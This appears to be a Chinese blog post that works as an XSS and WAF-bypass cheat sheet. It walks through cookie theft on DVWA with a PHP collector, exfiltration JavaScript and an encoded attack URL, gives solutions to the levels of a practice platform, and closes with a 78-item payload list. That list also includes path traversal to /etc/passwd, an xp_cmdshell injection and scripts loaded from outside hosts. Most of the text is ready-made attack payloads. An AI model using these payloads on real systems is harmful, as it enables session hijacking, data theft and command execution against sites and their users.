• XSS 跨站脚本(练习平台-waf绕过-payload大全)


    常用测试语句:

    <script language='javascript'>alert('test!');</script>
    <script>alert('test')</script>
    <svg/onload=alert(1)>
    "><svg/onload=alert(1)//
    onfocus=javascript:alert(2)
    " onmouseover="prompt('xss')" bad="

    <script src=http://xxx.com/xss.js></script> #引用外部的 xss

    <script> alert("hack")</script> #弹 出 hack

    <script>alert(document.cookie)</script> #弹 出 cookie

    <img>标签:

    <img src=1 on er ror=alert("hack")>

    <img src=1 onerror=alert(/hack/)>

    <img src =1 onerror=alert(document.cookie)> #弹 出 cooki e

    <img src=1 on er ror=alert(123)> 注 :对 于 数 字 ,可 以 不 用 引号

    <img src ="javascri pt:alert("XSS");" >

    <img dyn src="javas cript:alert('XSS' )" >

    <img low src="javas cript:alert('XSS' )" >

    <body>标 签 :可 以 使 用 onload 属 性 或 其 他 更 加 模 糊 的 属 性( 如 属 性 )在 标 记内部传递 XSS 有 效 内 容 background

    <body onload=aler t( "XSS")>

    <body background="javascript:alert("XSS")">

    <iframe>标签:该 <iframe>标 签 允 许 另 一 个 HTML 网页的嵌入到父页面。

    IFrame 可以包含 Jav aScript, 但 是 , 请 注 意 , 由 于 浏 览 器 的 内 容 安 全 策 略

    ( CSP),iFrame 中 的 J avaScript 无 法 访 问 父 页 面 的 DOM。然 而 ,IF rame 仍 然

    是非常有效的解除网络钓鱼攻击的手段。

    <iframe src=” htt p: //evil.com/xss.ht ml” >

    <input>标 签 :在 某 些 浏 览 器 中 ,如 果 标 记 的 type 属 性 <input>设 置 为 image,

    则可以对其进行操作以嵌入脚本

    "javascript:confirm(1);"

    <input type="image" src="javascript:alert('XSS');">

    <link>标签: <link>标签,这是经常被用来连接外部的样式表可以包含的脚本

    <link rel="stylesheet" href="javascript:alert('XSS');">

    <table>标 签 : 可 以 利 用 和 标 签 的 backgr oun d 属 性 来 引 用 脚 本 而 不 是 图 像

    <table background="javascript:alert( 'X SS')">

    <td background="javascript:alert('XSS')">

    <div>标签:该 <div>标签,类似于 <table>和 <td>标 签 也 可 以 指 定 一 个 背 景 ,因此嵌入的脚本。

    <div style="background-image: url(javascript:alert('XSS'))">

    <div style=" expression(alert('XSS'));">

    <object>标签:该 < ob ject>标 签 可 用 于 从 外 部 站 点 脚 本 包 含

    <object type="text/x-scriptlet" data="http://hacker.com/xss.html">

    弹窗测试XSS js中,alert() 警告弹窗,confirm() 确认弹窗  prompt() 输入弹窗

    XSS 反射型攻击思路(前提服务器有XSS漏洞):

    1. 用户登录服务器中
    2. 攻击者诱骗用户点击 有攻击代码的url
    3. 用户点击后访问服务器
    4. 服务器响应代码,在用户浏览器偷偷中执行攻击脚本,发送关键信息例如cookie给攻击这服务器
    5. 攻击者利用收到的信息伪造用户访问服务器

    例子:

    第一步:

    攻击者本地服务器代码

    Http://127.0.0.1/cookie.php  //攻击者的IP地址

    <?php

    $cookie = $_GET[‘cookie’];      //接收GET中的cookie参数

    $fp=fopen('cookie.txt','w');     //创建cookie.txt文件 w表示写入,如果是a 表示追加

    fwrite($fp,$cookie);

    fclose($fp);

    ?>

    第二步:攻击Js构造

    <script>

    Document.location=’http://127.0.0.1/cookie.php?cookie=’+document.cookie;

    </script>   //把当地的cookie发送到http://127.0.0.1/cookie.php

    第三步:构建攻击url

    http://192.168.23.131/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

    第四步:对参数进行url编码

     

    http://192.168.23.131/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E%20

    第四步:诱导用户点击,回到攻击者cookie.txt文件中,已经记录了用户的信息

    最后就是利用用户的cookie进行劫持会话

    xss练习平台:http://xss.fbisb.com/

    第一关:利用前端过滤,浏览器关闭js语句即可绕过

    第二关.闭合法 闭合前面的语句

    “><a /href “javascript:confirm(1)”>

    "><sCript>confirm(1)</Script>

    "><Script src=’https://www.baidu.com’>

    confirm(1)

    " onclick="alert(1)   “ 闭合前面的双引号,鼠标点击事件

    " onfocus="confirm(1)

    xss练习第三关:

    过滤了以下字符:

    第四关:过滤掉了<>

     "onmouseover="javascript:alert(1)   //鼠标移动事件

    " onfocus="alert(/xss/)       //点击事件

    第五关:过滤了<sricpt 和on

    1"<a>1<a href=' javascript:alert(1)'/>"

    1"<a>1<a href=' javascript:confirm(1)'/>"

    confirm(1)

    跳出input标签

    "><a href="javascript:alert(/xss/)">xss</a>

    第六关 过滤了很多js语句,但没考虑大小写

    "Onmouseover="javascript:alert(1)

    进行大小写绕过

    在input标签中触发XSS

    payload:" ONmouseover="alert(/xss/)

    跳出input标签触发XSS

    payload:"><sCript>alert(/xss/)</sCript>

    第七关:只过一次  利用两次  

    scriptscript=script

    "Oonnmouseover="javascript:alert(1)

    第八关

    很多都转义了 “ on script  等

    用编码绕过,采用html实体编码  t  ---> t

    javascript:alert(/xss/)

    第九关:加个http://

     

    第十关:

    这道题有俩个输出的地方,第一个被实体化过滤,第二个是隐藏表单的"t_sort"参数

    即'$str33',过滤了尖括号,那么就在input标签中触发xss即可,可以用onmouseover或者

    是onclick,需要将隐藏表单显示出来触发

    payload为:url后加 &t_sort=xss" onmouseover=alert(/xss/) type="text"

    payload为:url后加 &t_sort=xss" onclick=alert(/xss/) type="text

     

    思路:

    查看源代码,编辑,看看是不是已经实体化转换了,单双引号

    如果是 ,则用用不要<>和引号类的过滤看看

    waf绕过:

    参考:https://blog.csdn.net/spang_33/article/details/80930046

    特殊符号绕过  # 乱打

    1.对方开启了httponly属性

    如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,有效防止xss攻击

    表单劫持:劫持用户浏览器提交的的表单,或者保存在浏览器的表单

    payload 大全:

     1 '><script>alert(document.cookie)</script>
     2  ='><script>alert(document.cookie)</script>
     3  <script>alert(document.cookie)</script>
     4  <script>alert(vulnerable)</script>
     5  %3Cscript%3Ealert('XSS')%3C/script%3E
     6  <script>alert('XSS')</script>
     7  <img src="javascript:alert('XSS')">
     8  %0a%0a<script>alert("Vulnerable")</script>.jsp
     9  %22%3cscript%3ealert(%22xss%22)%3c/script%3e
    10  %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    11  %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
    12  %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    13  %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    14  %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
    15  %3f.jsp
    16  %3f.jsp
    17  <script>alert('Vulnerable');</script>
    18  <script>alert('Vulnerable')</script>
    19  ?sql_debug=1
    20  a%5c.aspx
    21  a.jsp/<script>alert('Vulnerable')</script>
    22  a/
    23  a?<script>alert('Vulnerable')</script>
    24  "><script>alert('Vulnerable')</script>
    25  ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:inetpubwwwroot?.txt'--&&
    26  %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    27  %3Cscript%3Ealert(document. domain);%3C/script%3E&
    28  %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
    29  <IMG src="javascript:alert('XSS');">
    30  <IMG src=javascript:alert('XSS')>
    31  <IMG src=JaVaScRiPt:alert('XSS')>
    32  <IMG src=JaVaScRiPt:alert("XSS")>
    33  <IMG src=javascript:alert('XSS')>
    34  <IMG src=javascript:alert('XSS')>
    35  <IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    36  <IMG src="jav ascript:alert('XSS');">
    37  <IMG src="jav ascript:alert('XSS');">
    38  <IMG src="jav ascript:alert('XSS');">
    39  "<IMG src=javascript:alert("XSS")>";' > out
    40  <IMG src=" javascript:alert('XSS');">
    41  <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
    42  <BODY BACKGROUND="javascript:alert('XSS')">
    43  <BODY ONLOAD=alert('XSS')>
    44  <IMG DYNSRC="javascript:alert('XSS')">
    45  <IMG LOWSRC="javascript:alert('XSS')">
    46  <BGSOUND src="javascript:alert('XSS');">
    47  <br size="&{alert('XSS')}">
    48  <LAYER src="http://xss.ha.ckers.org/a.js"></layer>
    49  <LINK REL="stylesheet" href="javascript:alert('XSS');">
    50  <IMG src='vbscript:msgbox("XSS")'>
    51  <IMG src="mocha:[code]">
    52  <IMG src="livescript:[code]">
    53  <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
    54  <IFRAME src=javascript:alert('XSS')></IFRAME>
    55  <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
    56  <TABLE BACKGROUND="javascript:alert('XSS')">
    57  <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    58  <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
    59  <DIV STYLE=" expression(alert('XSS'));">
    60  <STYLE>@import'javasc
    ipt:alert("XSS")';</STYLE>
    61  <IMG STYLE='xss:expression(alert("XSS"))'>
    62  <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    63  <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
    64  <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    65  <BASE href="javascript:alert('XSS');//">
    66  getURL("javascript:alert('XSS')")
    67  a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
    68  <XML src="javascript:alert('XSS');">
    69  "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
    70  <SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
    71  <IMG src="javascript:alert('XSS')"
    72  <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
    73  <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
    74  <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
    75  <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
    76  <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
    77  <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
    78  <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • 相关阅读:
    css盒子模型、垂直外边距合并
    mov指令和 add以及sub 指令的区别
    第一章 基础知识
    字符串文档的去重
    python 之 字符串的常用方法
    python格式化输出之format用法
    python 格式化输出之%号
    c++11可变参数模板的使用1
    深入浅出 c++11 std::async
    std::thread 概述
  • 原文地址:https://www.cnblogs.com/trevain/p/13953199.html
Copyright © 2020-2023  润新知